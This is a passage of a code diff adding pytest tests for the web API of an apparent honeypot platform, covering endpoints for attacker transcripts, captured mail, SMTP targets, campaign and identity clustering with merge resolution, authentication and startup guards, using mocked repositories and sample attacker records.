"sid": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa",
|
||||
"service": "ssh",
|
||||
"src_ip": "1.2.3.4",
|
||||
"duration_s": "42",
|
||||
"bytes": "1024",
|
||||
"truncated": "false",
|
||||
"shard_path": "/var/lib/systemd/coredump/transcripts/sessions-2026-04-18.jsonl",
|
||||
}),
|
||||
},
|
||||
]
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_transcripts.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
|
||||
mock_repo.get_attacker_transcripts = AsyncMock(return_value=rows)
|
||||
|
||||
result = await get_attacker_transcripts(
|
||||
uuid="att-uuid-1",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
assert result["total"] == 1
|
||||
assert result["data"][0]["service"] == "ssh"
|
||||
mock_repo.get_attacker_transcripts.assert_awaited_once_with("att-uuid-1")
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_404_on_unknown_uuid(self):
|
||||
from decnet.web.router.attackers.api_get_attacker_transcripts import get_attacker_transcripts
|
||||
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_transcripts.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=None)
|
||||
|
||||
with pytest.raises(HTTPException) as exc_info:
|
||||
await get_attacker_transcripts(
|
||||
uuid="nonexistent",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
assert exc_info.value.status_code == 404
|
||||
|
||||
|
||||
# ─── GET /attackers/{uuid}/smtp-targets ──────────────────────────────────────
|
||||
|
||||
class TestGetAttackerSmtpTargets:
|
||||
@pytest.mark.asyncio
|
||||
async def test_returns_smtp_targets(self):
|
||||
from decnet.web.router.attackers.api_get_attacker_smtp_targets import (
|
||||
get_attacker_smtp_targets,
|
||||
)
|
||||
|
||||
sample = _sample_attacker()
|
||||
rows = [
|
||||
{
|
||||
"id": 1, "attacker_uuid": "att-uuid-1",
|
||||
"domain": "corp1.com", "count": 5,
|
||||
"first_seen": "2026-04-18T02:22:56+00:00",
|
||||
"last_seen": "2026-04-19T10:15:03+00:00",
|
||||
},
|
||||
]
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_smtp_targets.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
|
||||
mock_repo.list_smtp_targets = AsyncMock(return_value=rows)
|
||||
|
||||
result = await get_attacker_smtp_targets(
|
||||
uuid="att-uuid-1",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
assert result["total"] == 1
|
||||
assert result["data"][0]["domain"] == "corp1.com"
|
||||
mock_repo.list_smtp_targets.assert_awaited_once_with("att-uuid-1")
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_404_on_unknown_uuid(self):
|
||||
from decnet.web.router.attackers.api_get_attacker_smtp_targets import (
|
||||
get_attacker_smtp_targets,
|
||||
)
|
||||
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_smtp_targets.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=None)
|
||||
|
||||
with pytest.raises(HTTPException) as exc_info:
|
||||
await get_attacker_smtp_targets(
|
||||
uuid="nonexistent",
|
||||
user={"uuid": "test-user", "role": "viewer"},
|
||||
)
|
||||
|
||||
assert exc_info.value.status_code == 404
|
||||
|
||||
|
||||
# ─── GET /attackers/{uuid}/mail ──────────────────────────────────────────────
|
||||
|
||||
class TestGetAttackerMail:
|
||||
@pytest.mark.asyncio
|
||||
async def test_returns_stored_mail(self):
|
||||
from decnet.web.router.attackers.api_get_attacker_mail import get_attacker_mail
|
||||
|
||||
sample = _sample_attacker()
|
||||
rows = [
|
||||
{
|
||||
"id": 1,
|
||||
"timestamp": "2026-04-18T02:22:56+00:00",
|
||||
"decky": "decky-01", "service": "smtp",
|
||||
"event_type": "message_stored",
|
||||
"attacker_ip": "1.2.3.4",
|
||||
"raw_line": "", "msg": "",
|
||||
"fields": json.dumps({
|
||||
"stored_as": "2026-04-18T02:22:56Z_abc123def456_ABC123.eml",
|
||||
"sha256": "deadbeef" * 8,
|
||||
"size": "1024",
|
||||
"subject": "URGENT invoice",
|
||||
"from_hdr": "spam@evil.com",
|
||||
"rcpt_to": "<a@corp.com>",
|
||||
"attachment_count": "1",
|
||||
}),
|
||||
},
|
||||
]
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_mail.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=sample)
|
||||
mock_repo.get_attacker_stored_mail = AsyncMock(return_value=rows)
|
||||
|
||||
result = await get_attacker_mail(
|
||||
uuid="att-uuid-1",
|
||||
admin={"uuid": "test-admin", "role": "admin"},
|
||||
)
|
||||
|
||||
assert result["total"] == 1
|
||||
assert result["data"][0]["event_type"] == "message_stored"
|
||||
mock_repo.get_attacker_stored_mail.assert_awaited_once_with("att-uuid-1")
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_404_on_unknown_uuid(self):
|
||||
from decnet.web.router.attackers.api_get_attacker_mail import get_attacker_mail
|
||||
|
||||
with patch("decnet.web.router.attackers.api_get_attacker_mail.repo") as mock_repo:
|
||||
mock_repo.get_attacker_by_uuid = AsyncMock(return_value=None)
|
||||
|
||||
with pytest.raises(HTTPException) as exc_info:
|
||||
await get_attacker_mail(
|
||||
uuid="nonexistent",
|
||||
admin={"uuid": "test-admin", "role": "admin"},
|
||||
)
|
||||
|
||||
assert exc_info.value.status_code == 404
|
||||
|
||||
|
||||
# ─── Auth enforcement ────────────────────────────────────────────────────────
|
||||
|
||||
class TestAttackersAuth:
|
||||
@pytest.mark.asyncio
|
||||
async def test_list_requires_auth(self):
|
||||
"""get_current_user dependency raises 401 when called without valid token."""
|
||||
from decnet.web.dependencies import get_current_user
|
||||
|
||||
req = MagicMock()
|
||||
req.headers = {}
|
||||
|
||||
with pytest.raises(HTTPException) as exc_info:
|
||||
await get_current_user(req)
|
||||
assert exc_info.value.status_code == 401
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_detail_requires_auth(self):
|
||||
from decnet.web.dependencies import get_current_user
|
||||
|
||||
req = MagicMock()
|
||||
req.headers = {"Authorization": "Bearer bad-token"}
|
||||
|
||||
with pytest.raises(HTTPException) as exc_info:
|
||||
await get_current_user(req)
|
||||
assert exc_info.value.status_code == 401
|
||||
254
tests/web/test_api_campaigns.py
Normal file
254
tests/web/test_api_campaigns.py
Normal file
@@ -0,0 +1,254 @@
|
||||
"""Tests for the campaign-clustering read API.
|
||||
|
||||
Mirrors :mod:`tests.web.test_api_identities` for the layer above.
|
||||
The campaign clusterer is a separate worker; these tests cover the
|
||||
read-only API which ships in the same wave. Empty-table behaviour,
|
||||
soft-merge resolution, and pagination forwarding are the headline
|
||||
cases.
|
||||
"""
|
||||
from datetime import datetime, timezone
|
||||
from unittest.mock import AsyncMock, patch
|
||||
|
||||
import pytest
|
||||
from fastapi import HTTPException
|
||||
|
||||
|
||||
def _campaign_row(
|
||||
uuid: str = "c-uuid-1",
|
||||
merged_into_uuid: str | None = None,
|
||||
identity_count: int = 0,
|
||||
) -> dict:
|
||||
now = datetime(2026, 4, 26, tzinfo=timezone.utc).isoformat()
|
||||
return {
|
||||
"uuid": uuid,
|
||||
"schema_version": 1,
|
||||
"first_seen_at": None,
|
||||
"last_seen_at": None,
|
||||
"created_at": now,
|
||||
"updated_at": now,
|
||||
"confidence": None,
|
||||
"identity_count": identity_count,
|
||||
"ja3_hashes": None,
|
||||
"hassh_hashes": None,
|
||||
"payload_simhashes": None,
|
||||
"c2_endpoints": None,
|
||||
"merged_into_uuid": merged_into_uuid,
|
||||
"notes": None,
|
||||
}
|
||||
|
||||
|
||||
def _identity_row(uuid: str, campaign_id: str | None) -> dict:
|
||||
return {
|
||||
"uuid": uuid,
|
||||
"schema_version": 1,
|
||||
"campaign_id": campaign_id,
|
||||
"merged_into_uuid": None,
|
||||
}
|
||||
|
||||
|
||||
# ─── GET /campaigns ──────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
class TestListCampaigns:
|
||||
@pytest.mark.asyncio
|
||||
async def test_empty_table_returns_zero_total(self):
|
||||
from decnet.web.router.campaigns.api_list_campaigns import list_campaigns
|
||||
|
||||
with patch(
|
||||
"decnet.web.router.campaigns.api_list_campaigns.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.list_campaigns = AsyncMock(return_value=[])
|
||||
mock_repo.count_campaigns = AsyncMock(return_value=0)
|
||||
|
||||
result = await list_campaigns(
|
||||
limit=50, offset=0, user={"uuid": "u", "role": "viewer"}
|
||||
)
|
||||
|
||||
assert result == {"total": 0, "limit": 50, "offset": 0, "data": []}
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_returns_seeded_data(self):
|
||||
from decnet.web.router.campaigns.api_list_campaigns import list_campaigns
|
||||
|
||||
rows = [_campaign_row(f"c-{n}") for n in range(3)]
|
||||
with patch(
|
||||
"decnet.web.router.campaigns.api_list_campaigns.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.list_campaigns = AsyncMock(return_value=rows)
|
||||
mock_repo.count_campaigns = AsyncMock(return_value=3)
|
||||
|
||||
result = await list_campaigns(
|
||||
limit=50, offset=0, user={"uuid": "u", "role": "viewer"}
|
||||
)
|
||||
|
||||
assert result["total"] == 3
|
||||
assert [r["uuid"] for r in result["data"]] == ["c-0", "c-1", "c-2"]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_pagination_args_forwarded(self):
|
||||
from decnet.web.router.campaigns.api_list_campaigns import list_campaigns
|
||||
|
||||
with patch(
|
||||
"decnet.web.router.campaigns.api_list_campaigns.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.list_campaigns = AsyncMock(return_value=[])
|
||||
mock_repo.count_campaigns = AsyncMock(return_value=0)
|
||||
|
||||
await list_campaigns(
|
||||
limit=10, offset=20, user={"uuid": "u", "role": "viewer"}
|
||||
)
|
||||
|
||||
mock_repo.list_campaigns.assert_awaited_once_with(limit=10, offset=20)
|
||||
|
||||
|
||||
# ─── GET /campaigns/{uuid} ───────────────────────────────────────────────────
|
||||
|
||||
|
||||
class TestGetCampaignDetail:
|
||||
@pytest.mark.asyncio
|
||||
async def test_404_on_missing_uuid(self):
|
||||
from decnet.web.router.campaigns.api_get_campaign_detail import (
|
||||
get_campaign_detail,
|
||||
)
|
||||
|
||||
with patch(
|
||||
"decnet.web.router.campaigns.api_get_campaign_detail.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.get_campaign_by_uuid = AsyncMock(return_value=None)
|
||||
|
||||
with pytest.raises(HTTPException) as exc:
|
||||
await get_campaign_detail(
|
||||
uuid="ghost", user={"uuid": "u", "role": "viewer"}
|
||||
)
|
||||
assert exc.value.status_code == 404
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_returns_campaign_with_live_identity_count(self):
|
||||
from decnet.web.router.campaigns.api_get_campaign_detail import (
|
||||
get_campaign_detail,
|
||||
)
|
||||
|
||||
campaign = _campaign_row("c-real", identity_count=2)
|
||||
with patch(
|
||||
"decnet.web.router.campaigns.api_get_campaign_detail.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.get_campaign_by_uuid = AsyncMock(return_value=campaign)
|
||||
mock_repo.count_identities_for_campaign = AsyncMock(return_value=5)
|
||||
|
||||
result = await get_campaign_detail(
|
||||
uuid="c-real", user={"uuid": "u", "role": "viewer"}
|
||||
)
|
||||
|
||||
assert result["uuid"] == "c-real"
|
||||
assert result["identity_count_live"] == 5
|
||||
assert result["identity_count"] == 2
|
||||
|
||||
|
||||
# ─── GET /campaigns/{uuid}/identities ────────────────────────────────────────
|
||||
|
||||
|
||||
class TestListCampaignIdentities:
|
||||
@pytest.mark.asyncio
|
||||
async def test_404_when_campaign_missing(self):
|
||||
from decnet.web.router.campaigns.api_list_campaign_identities import (
|
||||
list_campaign_identities,
|
||||
)
|
||||
|
||||
with patch(
|
||||
"decnet.web.router.campaigns.api_list_campaign_identities.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.get_campaign_by_uuid = AsyncMock(return_value=None)
|
||||
|
||||
with pytest.raises(HTTPException) as exc:
|
||||
await list_campaign_identities(
|
||||
uuid="ghost", limit=50, offset=0,
|
||||
user={"uuid": "u", "role": "viewer"},
|
||||
)
|
||||
assert exc.value.status_code == 404
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_returns_identities_for_existing_campaign(self):
|
||||
from decnet.web.router.campaigns.api_list_campaign_identities import (
|
||||
list_campaign_identities,
|
||||
)
|
||||
|
||||
campaign = _campaign_row("c-real")
|
||||
idents = [
|
||||
_identity_row("i-1", "c-real"),
|
||||
_identity_row("i-2", "c-real"),
|
||||
]
|
||||
with patch(
|
||||
"decnet.web.router.campaigns.api_list_campaign_identities.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.get_campaign_by_uuid = AsyncMock(return_value=campaign)
|
||||
mock_repo.list_identities_for_campaign = AsyncMock(return_value=idents)
|
||||
mock_repo.count_identities_for_campaign = AsyncMock(return_value=2)
|
||||
|
||||
result = await list_campaign_identities(
|
||||
uuid="c-real", limit=50, offset=0,
|
||||
user={"uuid": "u", "role": "viewer"},
|
||||
)
|
||||
|
||||
assert result["total"] == 2
|
||||
assert [r["uuid"] for r in result["data"]] == ["i-1", "i-2"]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_merged_uuid_resolves_to_winners_identities(self):
|
||||
"""Soft-merged campaigns: identities are listed under the winner."""
|
||||
from decnet.web.router.campaigns.api_list_campaign_identities import (
|
||||
list_campaign_identities,
|
||||
)
|
||||
|
||||
winner = _campaign_row("c-winner")
|
||||
with patch(
|
||||
"decnet.web.router.campaigns.api_list_campaign_identities.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.get_campaign_by_uuid = AsyncMock(return_value=winner)
|
||||
mock_repo.list_identities_for_campaign = AsyncMock(return_value=[])
|
||||
mock_repo.count_identities_for_campaign = AsyncMock(return_value=0)
|
||||
|
||||
await list_campaign_identities(
|
||||
uuid="c-loser", limit=50, offset=0,
|
||||
user={"uuid": "u", "role": "viewer"},
|
||||
)
|
||||
|
||||
mock_repo.list_identities_for_campaign.assert_awaited_once_with(
|
||||
"c-winner", limit=50, offset=0,
|
||||
)
|
||||
|
||||
|
||||
# ─── Repo-level integration ──────────────────────────────────────────────────
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_repo_methods_against_empty_schema(tmp_path):
|
||||
from decnet.web.db.factory import get_repository
|
||||
|
||||
repo = get_repository(db_path=str(tmp_path / "campaigns.db"))
|
||||
await repo.initialize()
|
||||
|
||||
assert await repo.list_campaigns(limit=50, offset=0) == []
|
||||
assert await repo.count_campaigns() == 0
|
||||
assert await repo.get_campaign_by_uuid("anything") is None
|
||||
assert await repo.list_identities_for_campaign("anything") == []
|
||||
assert await repo.count_identities_for_campaign("anything") == 0
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_repo_follows_campaign_merge_chain(tmp_path):
|
||||
from decnet.web.db.factory import get_repository
|
||||
|
||||
repo = get_repository(db_path=str(tmp_path / "merge.db"))
|
||||
await repo.initialize()
|
||||
await repo.create_campaign({"uuid": "winner-uuid"})
|
||||
await repo.create_campaign(
|
||||
{"uuid": "loser-uuid", "merged_into_uuid": "winner-uuid"}
|
||||
)
|
||||
|
||||
resolved = await repo.get_campaign_by_uuid("loser-uuid")
|
||||
assert resolved is not None
|
||||
assert resolved["uuid"] == "winner-uuid"
|
||||
|
||||
direct = await repo.get_campaign_by_uuid("winner-uuid")
|
||||
assert direct["uuid"] == "winner-uuid"
|
||||
assert direct["merged_into_uuid"] is None
|
||||
313
tests/web/test_api_identities.py
Normal file
313
tests/web/test_api_identities.py
Normal file
@@ -0,0 +1,313 @@
|
||||
"""
|
||||
Tests for the identity-resolution read API.
|
||||
|
||||
The clusterer that populates identities is a separate downstream effort
|
||||
(see development/IDENTITY_RESOLUTION.md); these tests cover the
|
||||
read-only API that ships first. The identities table is empty at
|
||||
deployment time, so the headline cases are:
|
||||
|
||||
* GET /identities returns {total: 0, data: []} cleanly
|
||||
* GET /identities/{uuid} returns 404 cleanly
|
||||
* GET /identities/{uuid}/observations returns 404 if identity missing
|
||||
* with seeded data, the routes return what the repository returns
|
||||
* a soft-merged identity (merged_into_uuid set) resolves to the winner
|
||||
"""
|
||||
from datetime import datetime, timezone
|
||||
from unittest.mock import AsyncMock, patch
|
||||
|
||||
import pytest
|
||||
from fastapi import HTTPException
|
||||
|
||||
|
||||
# ─── Helpers ──────────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _identity_row(
|
||||
uuid: str = "id-uuid-1",
|
||||
merged_into_uuid: str | None = None,
|
||||
observation_count: int = 0,
|
||||
) -> dict:
|
||||
now = datetime(2026, 4, 26, tzinfo=timezone.utc).isoformat()
|
||||
return {
|
||||
"uuid": uuid,
|
||||
"schema_version": 1,
|
||||
"campaign_id": None,
|
||||
"first_seen_at": None,
|
||||
"last_seen_at": None,
|
||||
"created_at": now,
|
||||
"updated_at": now,
|
||||
"confidence": None,
|
||||
"observation_count": observation_count,
|
||||
"ja3_hashes": None,
|
||||
"hassh_hashes": None,
|
||||
"payload_simhashes": None,
|
||||
"c2_endpoints": None,
|
||||
"kd_digraph_simhash": None,
|
||||
"merged_into_uuid": merged_into_uuid,
|
||||
"notes": None,
|
||||
}
|
||||
|
||||
|
||||
def _observation_row(uuid: str, identity_id: str | None) -> dict:
|
||||
return {
|
||||
"uuid": uuid,
|
||||
"ip": "203.0.113.7",
|
||||
"identity_id": identity_id,
|
||||
"first_seen": datetime(2026, 4, 1, tzinfo=timezone.utc).isoformat(),
|
||||
"last_seen": datetime(2026, 4, 26, tzinfo=timezone.utc).isoformat(),
|
||||
"event_count": 5,
|
||||
}
|
||||
|
||||
|
||||
# ─── GET /identities ─────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
class TestListIdentities:
|
||||
@pytest.mark.asyncio
|
||||
async def test_empty_table_returns_zero_total(self):
|
||||
from decnet.web.router.identities.api_list_identities import list_identities
|
||||
|
||||
with patch(
|
||||
"decnet.web.router.identities.api_list_identities.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.list_identities = AsyncMock(return_value=[])
|
||||
mock_repo.count_identities = AsyncMock(return_value=0)
|
||||
|
||||
result = await list_identities(
|
||||
limit=50, offset=0, user={"uuid": "u", "role": "viewer"}
|
||||
)
|
||||
|
||||
assert result == {"total": 0, "limit": 50, "offset": 0, "data": []}
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_returns_seeded_data(self):
|
||||
from decnet.web.router.identities.api_list_identities import list_identities
|
||||
|
||||
rows = [_identity_row(f"id-{n}") for n in range(3)]
|
||||
with patch(
|
||||
"decnet.web.router.identities.api_list_identities.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.list_identities = AsyncMock(return_value=rows)
|
||||
mock_repo.count_identities = AsyncMock(return_value=3)
|
||||
|
||||
result = await list_identities(
|
||||
limit=50, offset=0, user={"uuid": "u", "role": "viewer"}
|
||||
)
|
||||
|
||||
assert result["total"] == 3
|
||||
assert [r["uuid"] for r in result["data"]] == ["id-0", "id-1", "id-2"]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_pagination_args_forwarded(self):
|
||||
from decnet.web.router.identities.api_list_identities import list_identities
|
||||
|
||||
with patch(
|
||||
"decnet.web.router.identities.api_list_identities.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.list_identities = AsyncMock(return_value=[])
|
||||
mock_repo.count_identities = AsyncMock(return_value=0)
|
||||
|
||||
await list_identities(
|
||||
limit=10, offset=20, user={"uuid": "u", "role": "viewer"}
|
||||
)
|
||||
|
||||
mock_repo.list_identities.assert_awaited_once_with(limit=10, offset=20)
|
||||
|
||||
|
||||
# ─── GET /identities/{uuid} ──────────────────────────────────────────────────
|
||||
|
||||
|
||||
class TestGetIdentityDetail:
|
||||
@pytest.mark.asyncio
|
||||
async def test_404_on_missing_uuid(self):
|
||||
from decnet.web.router.identities.api_get_identity_detail import (
|
||||
get_identity_detail,
|
||||
)
|
||||
|
||||
with patch(
|
||||
"decnet.web.router.identities.api_get_identity_detail.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.get_identity_by_uuid = AsyncMock(return_value=None)
|
||||
|
||||
with pytest.raises(HTTPException) as exc:
|
||||
await get_identity_detail(
|
||||
uuid="ghost", user={"uuid": "u", "role": "viewer"}
|
||||
)
|
||||
assert exc.value.status_code == 404
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_returns_identity_with_live_observation_count(self):
|
||||
from decnet.web.router.identities.api_get_identity_detail import (
|
||||
get_identity_detail,
|
||||
)
|
||||
|
||||
identity = _identity_row("id-real", observation_count=2)
|
||||
with patch(
|
||||
"decnet.web.router.identities.api_get_identity_detail.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.get_identity_by_uuid = AsyncMock(return_value=identity)
|
||||
# Live count overrides the (potentially stale) denormalized
|
||||
# observation_count on the row.
|
||||
mock_repo.count_observations_for_identity = AsyncMock(return_value=5)
|
||||
|
||||
result = await get_identity_detail(
|
||||
uuid="id-real", user={"uuid": "u", "role": "viewer"}
|
||||
)
|
||||
|
||||
assert result["uuid"] == "id-real"
|
||||
assert result["observation_count_live"] == 5
|
||||
# Original denormalized count is preserved on the row.
|
||||
assert result["observation_count"] == 2
|
||||
|
||||
|
||||
# ─── GET /identities/{uuid}/observations ─────────────────────────────────────
|
||||
|
||||
|
||||
class TestListIdentityObservations:
|
||||
@pytest.mark.asyncio
|
||||
async def test_404_when_identity_missing(self):
|
||||
from decnet.web.router.identities.api_list_identity_observations import (
|
||||
list_identity_observations,
|
||||
)
|
||||
|
||||
with patch(
|
||||
"decnet.web.router.identities.api_list_identity_observations.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.get_identity_by_uuid = AsyncMock(return_value=None)
|
||||
|
||||
with pytest.raises(HTTPException) as exc:
|
||||
await list_identity_observations(
|
||||
uuid="ghost",
|
||||
limit=50,
|
||||
offset=0,
|
||||
user={"uuid": "u", "role": "viewer"},
|
||||
)
|
||||
assert exc.value.status_code == 404
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_returns_observations_for_existing_identity(self):
|
||||
from decnet.web.router.identities.api_list_identity_observations import (
|
||||
list_identity_observations,
|
||||
)
|
||||
|
||||
identity = _identity_row("id-real")
|
||||
observations = [
|
||||
_observation_row("att-1", identity_id="id-real"),
|
||||
_observation_row("att-2", identity_id="id-real"),
|
||||
]
|
||||
with patch(
|
||||
"decnet.web.router.identities.api_list_identity_observations.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.get_identity_by_uuid = AsyncMock(return_value=identity)
|
||||
mock_repo.list_observations_for_identity = AsyncMock(
|
||||
return_value=observations
|
||||
)
|
||||
mock_repo.count_observations_for_identity = AsyncMock(return_value=2)
|
||||
|
||||
result = await list_identity_observations(
|
||||
uuid="id-real",
|
||||
limit=50,
|
||||
offset=0,
|
||||
user={"uuid": "u", "role": "viewer"},
|
||||
)
|
||||
|
||||
assert result["total"] == 2
|
||||
assert [r["uuid"] for r in result["data"]] == ["att-1", "att-2"]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_merged_uuid_resolves_to_winners_observations(self):
|
||||
"""
|
||||
When the user requests observations for a soft-merged identity,
|
||||
get_identity_by_uuid follows the merged_into chain and returns
|
||||
the winner. The endpoint MUST list observations under the
|
||||
winner's UUID, not the loser's. Otherwise an operator linking
|
||||
through cached merge events sees an empty page.
|
||||
"""
|
||||
from decnet.web.router.identities.api_list_identity_observations import (
|
||||
list_identity_observations,
|
||||
)
|
||||
|
||||
# Repo returns the WINNER row even though we asked for the loser's uuid.
|
||||
winner = _identity_row("id-winner")
|
||||
with patch(
|
||||
"decnet.web.router.identities.api_list_identity_observations.repo"
|
||||
) as mock_repo:
|
||||
mock_repo.get_identity_by_uuid = AsyncMock(return_value=winner)
|
||||
mock_repo.list_observations_for_identity = AsyncMock(return_value=[])
|
||||
mock_repo.count_observations_for_identity = AsyncMock(return_value=0)
|
||||
|
||||
await list_identity_observations(
|
||||
uuid="id-loser",
|
||||
limit=50,
|
||||
offset=0,
|
||||
user={"uuid": "u", "role": "viewer"},
|
||||
)
|
||||
|
||||
# Critical assertion: list_observations_for_identity is called
|
||||
# with the winner's UUID, not the requested (loser's) one.
|
||||
mock_repo.list_observations_for_identity.assert_awaited_once_with(
|
||||
"id-winner", limit=50, offset=0
|
||||
)
|
||||
|
||||
|
||||
# ─── Repo-level integration: empty schema returns expected shapes ────────────
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_repo_methods_against_empty_schema(tmp_path):
|
||||
"""
|
||||
With a freshly initialized SQLite database (no rows), every read
|
||||
method returns the expected empty/None response. Smoke-tests the
|
||||
repository layer without going through the FastAPI route layer.
|
||||
"""
|
||||
from decnet.web.db.sqlite.repository import SQLiteRepository
|
||||
from decnet.web.db.sqlite.database import init_db
|
||||
|
||||
db_path = str(tmp_path / "ids.db")
|
||||
init_db(db_path)
|
||||
repo = SQLiteRepository(db_path=db_path)
|
||||
|
||||
assert await repo.list_identities(limit=50, offset=0) == []
|
||||
assert await repo.count_identities() == 0
|
||||
assert await repo.get_identity_by_uuid("anything") is None
|
||||
assert await repo.list_observations_for_identity("anything") == []
|
||||
assert await repo.count_observations_for_identity("anything") == 0
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_repo_follows_merged_into_chain(tmp_path):
|
||||
"""
|
||||
get_identity_by_uuid must transparently follow merged_into_uuid to
|
||||
surface the canonical winner. This is the contract the endpoint
|
||||
relies on for soft-merged identity resolution.
|
||||
"""
|
||||
from decnet.web.db.models import AttackerIdentity
|
||||
from decnet.web.db.sqlite.database import init_db
|
||||
from decnet.web.db.sqlite.repository import SQLiteRepository
|
||||
from sqlmodel import Session
|
||||
from decnet.web.db.sqlite.database import get_sync_engine
|
||||
|
||||
db_path = str(tmp_path / "merge.db")
|
||||
init_db(db_path)
|
||||
|
||||
# Insert two identities via direct SQL: a winner and a loser whose
|
||||
# merged_into_uuid points at the winner.
|
||||
engine = get_sync_engine(db_path)
|
||||
with Session(engine) as session:
|
||||
winner = AttackerIdentity(uuid="winner-uuid")
|
||||
loser = AttackerIdentity(uuid="loser-uuid", merged_into_uuid="winner-uuid")
|
||||
session.add(winner)
|
||||
session.add(loser)
|
||||
session.commit()
|
||||
|
||||
repo = SQLiteRepository(db_path=db_path)
|
||||
resolved = await repo.get_identity_by_uuid("loser-uuid")
|
||||
assert resolved is not None
|
||||
assert resolved["uuid"] == "winner-uuid", (
|
||||
"get_identity_by_uuid must follow merged_into_uuid to the winner"
|
||||
)
|
||||
|
||||
# And the winner queried directly resolves to itself.
|
||||
direct = await repo.get_identity_by_uuid("winner-uuid")
|
||||
assert direct["uuid"] == "winner-uuid"
|
||||
assert direct["merged_into_uuid"] is None
|
||||
122
tests/web/test_api_startup_guards.py
Normal file
122
tests/web/test_api_startup_guards.py
Normal file
@@ -0,0 +1,122 @@
|
||||
"""Master API startup guards: mode gating + eager JWT load.
|
||||
|
||||
The lifespan is what enforces these. We invoke it directly with a fresh
|
||||
FastAPI app instance rather than spinning up a TestClient — TestClient
|
||||
fixtures elsewhere set DECNET_JWT_SECRET globally and would mask the
|
||||
"missing secret fails at boot" assertion.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import importlib
|
||||
import sys
|
||||
|
||||
import pytest
|
||||
from fastapi import FastAPI
|
||||
|
||||
|
||||
def _reload_api(monkeypatch: pytest.MonkeyPatch):
|
||||
for mod in list(sys.modules):
|
||||
if mod == "decnet.env" or mod == "decnet.web.api" or mod.startswith("decnet.env."):
|
||||
sys.modules.pop(mod)
|
||||
return importlib.import_module("decnet.web.api")
|
||||
|
||||
|
||||
def _strip_pytest_vars(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
import os
|
||||
for k in list(os.environ):
|
||||
if k.startswith("PYTEST"):
|
||||
monkeypatch.delenv(k, raising=False)
|
||||
|
||||
|
||||
async def _run_lifespan_startup(api_mod) -> None:
|
||||
"""Run the lifespan up to (but not past) yield, then unwind cleanly."""
|
||||
app = FastAPI()
|
||||
cm = api_mod.lifespan(app)
|
||||
await cm.__aenter__()
|
||||
try:
|
||||
return
|
||||
finally:
|
||||
try:
|
||||
await cm.__aexit__(None, None, None)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def test_master_api_refuses_to_start_in_agent_mode(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
monkeypatch.setenv("DECNET_MODE", "agent")
|
||||
monkeypatch.setenv("DECNET_DISALLOW_MASTER", "true")
|
||||
monkeypatch.setenv("DECNET_JWT_SECRET", "x" * 32)
|
||||
api = _reload_api(monkeypatch)
|
||||
with pytest.raises(RuntimeError, match="master-only"):
|
||||
asyncio.get_event_loop_policy().new_event_loop().run_until_complete(
|
||||
_run_lifespan_startup(api)
|
||||
)
|
||||
|
||||
|
||||
def test_master_api_starts_when_dual_role_enabled(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
"""DECNET_DISALLOW_MASTER=false is the documented escape hatch for
|
||||
dev hosts that play both sides — must not trip the gate."""
|
||||
monkeypatch.setenv("DECNET_MODE", "agent")
|
||||
monkeypatch.setenv("DECNET_DISALLOW_MASTER", "false")
|
||||
monkeypatch.setenv("DECNET_JWT_SECRET", "x" * 32)
|
||||
api = _reload_api(monkeypatch)
|
||||
